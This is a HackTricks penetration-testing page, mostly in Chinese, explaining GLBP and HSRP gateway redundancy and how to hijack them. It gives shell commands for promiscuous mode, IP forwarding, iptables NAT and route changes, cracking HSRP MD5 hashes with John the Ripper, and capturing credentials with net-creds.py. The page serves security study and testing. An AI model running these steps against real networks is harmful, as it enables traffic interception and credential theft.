GLBP & HSRP Attacks

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

FHRP Hijacking Overview

Insights into FHRP

FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性,从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。

GLBP Protocol Insights

思科创建的GLBP在TCP/IP协议栈上运行,使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包,则被认为是离线的。然而,这些定时器并不是固定的,可以进行修改。

GLBP Operations and Load Distribution

GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中,每个路由器都参与数据包转发。与HSRP/VRRP不同,GLBP通过多种机制提供真正的负载均衡:

  • Host-Dependent Load Balancing: 为主机保持一致的AVF MAC地址分配,这对稳定的NAT配置至关重要。
  • Round-Robin Load Balancing: 默认方法,在请求主机之间交替分配AVF MAC地址。
  • Weighted Round-Robin Load Balancing: 根据预定义的“权重”指标分配负载。

Key Components and Terminologies in GLBP

  • AVG (Active Virtual Gateway): 主要路由器,负责将MAC地址分配给对等路由器。
  • AVF (Active Virtual Forwarder): 指定管理网络流量的路由器。
  • GLBP Priority: 决定AVG的指标,默认值为100,范围在1到255之间。
  • GLBP Weight: 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。
  • GLBP Virtual IP Address: 作为所有连接设备的网络默认网关。

对于交互,GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包,如果在10秒内错过一个数据包,则被视为非操作状态。

GLBP Attack Mechanism

攻击者可以通过发送优先级值最高(255)的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击,从而允许流量拦截或重定向。

Executing a GLBP Attack with Loki

Loki可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。

攻击步骤:

  1. 切换到混杂模式并启用IP转发。
  2. 确定目标路由器并获取其IP。
  3. 生成一个无偿ARP。
  4. 注入一个恶意GLBP数据包,冒充AVG。
  5. 为攻击者的网络接口分配一个次要IP地址,镜像GLBP虚拟IP。
  6. 实施SNAT以实现完整的流量可见性。
  7. 调整路由以确保通过原始AVG路由器继续访问互联网。

通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。

为了演示,以下是所需的命令片段:

bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。

HSRP 劫持的被动解释与命令细节

HSRP(热备份路由器/冗余协议)概述

HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同,HSRP 依赖于单个活动路由器进行流量管理。

HSRP 中的角色和术语

  • HSRP 活动路由器:作为网关的设备,管理流量流动。
  • HSRP 备用路由器:准备接管活动路由器故障时的备份路由器。
  • HSRP 组:一组路由器协作形成一个单一的弹性虚拟路由器。
  • HSRP MAC 地址:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
  • HSRP 虚拟 IP 地址:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。

HSRP 版本

HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。

HSRP 攻击机制

HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人(MITM)攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。

绕过 HSRP 身份验证的步骤

  1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。
shell
tcpdump -w hsrp_traffic.pcap
  1. 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。
shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. 使用 John the Ripper 破解 MD5 哈希。
shell
john --wordlist=mywordlist.txt hsrp_hashes

使用 Loki 执行 HSRP 注入

  1. 启动 Loki 以识别 HSRP 广告。
  2. 将网络接口设置为混杂模式并启用 IP 转发。
shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。
  2. 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。
shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. 修改路由表以通过前活动路由器路由流量。
shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。
shell
sudo python2 net-creds.py -i eth0

执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks